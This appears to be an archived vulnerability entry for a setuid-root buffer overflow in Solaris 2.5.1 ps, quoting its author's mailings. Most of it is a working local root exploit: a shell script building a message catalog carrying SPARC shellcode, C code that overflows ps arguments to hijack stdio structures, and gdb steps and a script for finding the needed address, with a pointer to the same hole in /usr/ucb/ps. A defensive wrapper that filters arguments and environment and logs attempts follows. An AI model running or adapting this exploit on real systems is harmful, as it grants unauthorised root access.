source: https://www.securityfocus.com/bid/220/info
The ps command prints information about active processes on a system. Due to insufficient bounds checking on arguments supplied to ps, it is possible to overwrite the internal data space of the ps program. As ps is setuid root, this vulnerability may be exploited by users on a system to gain root access.
#!/bin/sh
#
# Exploit for Solaris 2.5.1 /usr/bin/ps
# J. Zbiciak, 5/18/97
#
# change as appropriate
CC=gcc
# Build the "replacement message" :-)
cat > ps_expl.po << E_O_F
domain "SUNW_OST_OSCMD"
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\020\040\001\221\320\040\010"
E_O_F
msgfmt -o /tmp/foo ps_expl.po
# Build the C portion of the exploit
cat > ps_expl.c << E_O_F
/*****************************************/
/* Exploit for Solaris 2.5.1 /usr/bin/ps */
/* J. Zbiciak, 5/18/97 */
/*****************************************/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH (632)
#define EXTRA (256)
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
/* ps will grok this file for the exploit code */
char *envp[]={"NLSPATH=/tmp/foo",0};
u_long *long_p;
u_char *char_p;
/* This will vary depending on your libc */
u_long proc_link=0xef70ef70;
int i;
long_p = (u_long *) buf;
/* This first loop smashes the target buffer for optargs */
for (i = 0; i < (96) / sizeof(u_long); i++)
*long_p++ = 0x10101010;
/* At offset 96 is the environ ptr -- be careful not to mess it up */
*long_p++=0xeffffcb0;
*long_p++=0xffffffff;
/* After that is the _ctype table. Filling with 0x10101010 marks the
entire character set as being "uppercase printable". */
for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
*long_p++ = 0x10101010;
/* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */
/* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */
/* build up _iob[1] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */
/* build up _iob[2] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */
*long_p =0;
/* The following includes the invalid argument '-z' to force the
usage msg to appear after the arguments have been parsed. */
execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
perror("execle failed");
return 0;
}
E_O_F
# Compile it
$CC -o ps_expl ps_expl.c
# And off we go!
exec ./ps_expl
===========================================================================
A number of you have written saying that the exploit doesn't work.
The biggest problem is that the exploit relies on a very specific
address (which I put in the proc_link variable) in order to work.
(Incidentally, as some have noted, there was a stray '*' in one of
the versions I sent out which causes some warnings to be generated.
Change "u_long *proc_link=..." to "u_long proc_link=..." if this
bothers you. The warnings are benign in this case.)
The following shortcut seems to work for finding the value for
the bothersome proc_link variable. You don't need to be a gdb whiz
to do this:
$ gdb ./ps
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (sparc-sun-solaris2.4),
Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break exit
Breakpoint 1 at 0x25244
(gdb) run
Starting program: /home3/student/im14u2c/c/./ps
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...Breakpoint 1 at 0xef7545c0
(no debugging symbols found)... PID TTY TIME CMD
9840 pts/27 0:01 ps
19499 pts/27 0:10 bash
9830 pts/27 0:02 gdb
Breakpoint 1, 0xef7545c0 in exit ()
(gdb) disassemble exit
Dump of assembler code for function exit:
0xef7545c0 <exit>: call 0xef771408 <_PROCEDURE_LINKAGE_TABLE_+7188>
0xef7545c4 <exit+4>: nop
0xef7545c8 <exit+8>: mov 1, %g1
0xef7545cc <exit+12>: ta 8
End of assembler dump.
(gdb)
The magic number is in the "call" above: 0xef771408.
For the extremely lazy, the following shell script worked for me to
extract this value from the noise. Your Mileage May Vary.
--- extract_proc_link.sh
#!/bin/sh
cp /usr/bin/ps ./ps
FOO="`cat << E_O_F | gdb ./ps | grep PROC | cut -d: -f2 | cut -d\< -f1
break exit
run
disassemble exit
quit
y
E_O_F
`"
rm -f ./ps
set $FOO foo
[ -f "$1" = "foo" ] && echo "Try something else" && exit 1;
echo " u_long proc_link=$2;"
--- EOF
Note, this sets the proc_link variable to the routine "exit" calls, so
you will probably get garbage on your screen when the exploit runs.
Solution: To it from an xterm or something which lets you do a "reset"
to nullify the action of the control characters in the exploit.
Incidentally, it appears that /usr/ucb/ps is equally succeptable to this
hole, except the vulnerability is on the -t argument, and the string
grokked by gettext is different, so the "ps_expl.po" file needs to be
changed slightly. Fortunately, "environ" and "proc_link" are pretty
much the same. (Use the "extract" script above on /usr/ucb/ps, etc.)
============================================================================
Here's a generic wrapper I've written that you can use as an interim
solution for wrapping /usr/bin/ps and /usr/ucb/ps. (/usr/ucb/ps looks
to be similarly vulnerable.) The code is fairly well documented IMHO,
and should be adaptable enough to wrap just about any program.
This wrapper also filters environment variables, so if you have binaries
which blindly trust certain variables (NLSPATH is a common one in Solaris),
you can filter out those variables. (You could also fairly trivially
add in default values for some variables if you needed to, such as for
NLSPATH.)
Finally, this wrapper will log exploit attempts to syslog if you configure
that option. The log facility, log priority, and log ident are all
configurable with #defines. I've currently set the code to LOG_ALERT
on LOG_LOCAL0, with ident "wrapper". To prevent problems with syslog,
the wrapper even limits the number of characters it writes per log
message. (Note: This limit is on the number of characters per message,
not including the identifier, PID, etc.)
I make no guarantee or warranty about this code; it looks good/works fine
for me. :-) If you have problems configuring this wrapper for a
particular program, first read all the comments in the source, and then
email me if you still can't figure it out. :-)
Incidentally, it's safe to leave ps lying around without the suid-bit;
it'll happily list the calling user's own processes, and those processes
alone. That's one of the wonderful advantages of a /proc based ps. :-)
--- wrapper.c
/*****************************************************************/
/* Generic wrapper to prevent exploitation of suid/sgid programs */
/* J. Zbiciak, 5/19/97 */
/*****************************************************************/
#include <stdio.h>
#include <syslog.h>
#include <strings.h>
#include <unistd.h>
#include <errno.h>
static char rcsid[]="$Id: wrapper.c,v 1.1 1997/05/19 22:48:03 jzbiciak Exp $";
/**************************************************************************/
/* To install, move wrapped executable to a different file name. (I like */
/* just appending an underscore '_' to the filename.) Then, remove the */
/* offending permission bit. Finally, place this program in the wrapped */
/* program's place with the appropriate permissions. Enjoy! */
/**************************************************************************/
/* Tunable values per program being wrapped */
#define WRAPPED "/usr/bin/ps" /* Set to full path of wrapped executable */
#define REALBIN WRAPPED"_" /* Usually can be left untouched. */
#define MAX_ARG (32) /* Maximum argv parameter length. */
#define SYSLOG 1 /* Enable/disable SYSLOGging */
#define FACILITY LOG_LOCAL0 /* Facility to syslog() to */
#define PRIORITY LOG_ALERT /* Priority level for syslog() */
#define LOGIDENT "wrapper" /* How to identify myself to syslog() */
typedef struct tEnvInfo
{
char * env; /* Environment var name with trailing '=' */
int name_len; /* Length of name (including '=') */
int max_len; /* Max length of value assignable to var */
} TEnvInfo;
/* aside: trailing '=' is necessary to prevent problems with variables */
/* whose names prefix each other. */
TEnvInfo allowed_env [] = /* Environ. vars we allow program to see */
{
{ "COLUMNS=", 8, 4 },
{ "LC_CTYPE=", 9, 64 },
{ "LC_MESSAGES=", 11, 64 },
{ "LC_TIME=", 8, 64 },
{ "LOGNAME=", 8, 16 },
{ "TERM=", 5, 16 },
{ "USER=", 5, 16 },
};
#define NUM_ALLOWED_ENV (sizeof(allowed_env)/sizeof(TEnvInfo))
/* Internal use only -- shouldn't need to adjust, usually */
#define MSG_LEN (192) /* Maximum output message length. */
#define MAX_LOG (64) /* Maximum length per call to syslog() */
#ifndef SYSLOG
#error Define "SYSLOG" to be either 1 or 0 explicitly
#endif
/* No user serviceable parts inside (End of configurable options) */
/* Log a message to syslog, and abort */
void log(char * s)
{
#if SYSLOG
char buf[MAX_LOG];
int l;
l=strlen(s);
/* Open up syslog; use "Local0" facility */
openlog(LOGIDENT "[" WRAPPED "]",LOG_PID,FACILITY);
do {
strncpy(buf,s,MAX_LOG-1);
buf[MAX_LOG-1]=0;
syslog (PRIORITY,buf);
l-=64;
if (l>0) s+=MAX_LOG-1;
} while (l>0);
closelog();
#endif
exit(1);
}
/* The main event */
int main(int argc, char * argv[], char *envp[])
{
int i,j,k;
char buf[MSG_LEN];
/* Check all of argv. Log and exit if any args have length > MAX_ARG */
for (i=0;i<argc && argv[i]!=0;i++)
{
if (strlen(argv[i])>MAX_ARG)
{
printf("Error: Aborting!\n"
" Excessive commandline argument length: '%s'\n", argv[i]);
/* Safe since uid/gid etc. are max 5 chars apiece */
sprintf(buf,
"Attempted overrun (argv): "
"uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
(int)getuid(),(int)getgid(),(int)geteuid(),(int)getegid());
log(buf);
exit(1); /* safety net */
}
}
/* Check all of envp. Throw out any environment variables which
aren't in "allowed_env[]". If any variables permitted by
"allowed_env[]" are too long, log and exit. */
for (i=j=0; envp[i]!=0; i++)
{
for (k=0;k<NUM_ALLOWED_ENV;k++)
{
if (strncmp(envp[i],
allowed_env[k].env,
allowed_env[k].name_len)==0)
break;
}
if (k!=NUM_ALLOWED_ENV)
{
if (strlen(envp[i]) >
allowed_env[k].max_len+allowed_env[k].name_len)
{
printf("Error: Aborting!\n"
" Excessive environment variable length: '%s'\n",
envp[i]);
/* Safe because we have control over allowed_env[] */
sprintf(buf,
"Attempted overrun (env var '%s'): "
"uid=%.5d gid=%.5d euid=%.5d egid=%.5d\n",
allowed_env[k].env,
(int)getuid(),(int)getgid(),(int)geteuid(),(int)getegid());
log(buf);
exit(1); /* safety net */
}
envp[j++]=envp[i];
}
if (j>NUM_ALLOWED_ENV)
{
log("Internal error to wrapper -- too many allowed env vars");
exit(1); /* safety net */
}
}
envp[j]=0;
/* If we make it this far, we're good to go. */
argv[0]=WRAPPED;
execve(REALBIN, argv, envp);
/* Safe, because errno number is very few chars */
sprintf(buf, "execve failed! errno=%.5d\n",errno);
perror("execve() failed");
log(buf);
exit(1); /* safety net */
}
--- EOF